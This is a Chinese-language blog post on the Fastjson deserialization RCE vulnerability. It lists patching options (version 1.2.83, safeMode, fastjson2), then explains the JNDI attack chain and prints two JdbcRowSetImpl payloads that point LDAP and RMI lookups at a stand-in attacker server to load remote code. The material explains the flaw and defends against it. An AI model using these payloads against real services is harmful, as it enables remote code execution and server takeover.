据国家网络与信息安全信息通报中心监测发现,开源Java开发组件Fastjson存在反序列化远程代码执行漏洞。攻击者可利用上述漏洞实施任意文件写入、服务端请求伪造等攻击行为,造成服务器权限被窃取、敏感信息泄漏等严重影响。

先贴一个解决漏洞的方案:

1.升级到最新版本1.2.83
https://github.com/alibaba/fastjson/releases/tag/1.2.83

该版本涉及autotype行为变更,在某些场景会出现不兼容的情况,如遇遇到问题可以到
https://github.com/alibaba/fastjson/issues寻求帮助。

2.fastjson在1.2.68及之后的版本中引入了safeMode,配置safeMode后,无论白名单和黑名单,都不支持autoType,可杜绝反序列化Gadgets类变种攻击(关闭autoType注意评估对业务的影响)。

开启方法可参考
https://github.com/alibaba/fastjson/wiki/fastjson_safemode。

1.2.83修复了此次发现的漏洞,开启safeMode是完全关闭autoType功能,避免类似问题再次发生,这可能会有兼容问题,请充分评估对业务影响后开启。

3.可升级到fastjson v2
https://github.com/alibaba/fastjson2/releases

不过任何升级一定会伴随或大或小的bug,一定要对业务的影响做评估。

下面对漏洞原理进行介绍
fastjson 是阿里巴巴开发的 java语言编写的高性能 JSON 库,用于将数据在 Json 和 Java Object之间相互转换。它没有用java的序列化机制,而是自定义了一套序列化机制。

JSON.toJSONString 和 JSON.parseObject/JSON.parse 分别实现序列化和反序列化

Fastjson反序列化需要无参默认构造方法或者注解指定构造方法并添加相应参数。使用Feature.SupportNonPublicField才能打开非公有属性的反序列化处理,并且@type可以指定反序列化任意类调用其set,get方法,并且由于反序列化的特性,我们可以通过目标类的set方法自由的设置类的属性值。

究极原理:攻击者准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口向攻击者控制web服务器请求,远程加载恶意代码,执行构造函数形成RCE。

下面这两个就是含有攻击性的待序列化对象:@type注解指明了其类型(漏洞利用类),并设置了数据源和开启自动提交。

//LADP 方式
String payload1 = “{”@type":“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“ldap://localhost:1389/Exploit”," + " “autoCommit”:true}“;
//RMI 方式
String payload2 = “{”@type”:“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“rmi://localhost:1099/Exploit”," + " “autoCommit”:true}";

这就用到了JNDI。JNDI提供了 查找和访问各种命名和目录服务的通用、统一的接口。支持的服务:DNS,LDAP,RMI,CORBA等。

它是面向拓展的,也就是说我定义了个规矩,就是 SPI的概念 ,具体如何实现由扩展者实现。

fastjson springboot 配置 fastjson配置safemode_java

(可以连按shift查找目标类)

fastjson springboot 配置 fastjson配置safemode_序列化_02


由于在反序列化时会调用set方法,此时conn一定为null,所以掉入陷阱,进行connet设置,我们点进去。

fastjson springboot 配置 fastjson配置safemode_序列化_03


发现里面调用了lookup函数,并且调用getDataSourceName获取数据源,上面含有攻击性的待序列化对象恰好就有DataSourceName这个属性。

fastjson springboot 配置 fastjson配置safemode_json_04


接下来就是请求rmi服务器,执行rmi服务器下发的命令,从而导致远程命令执行漏洞。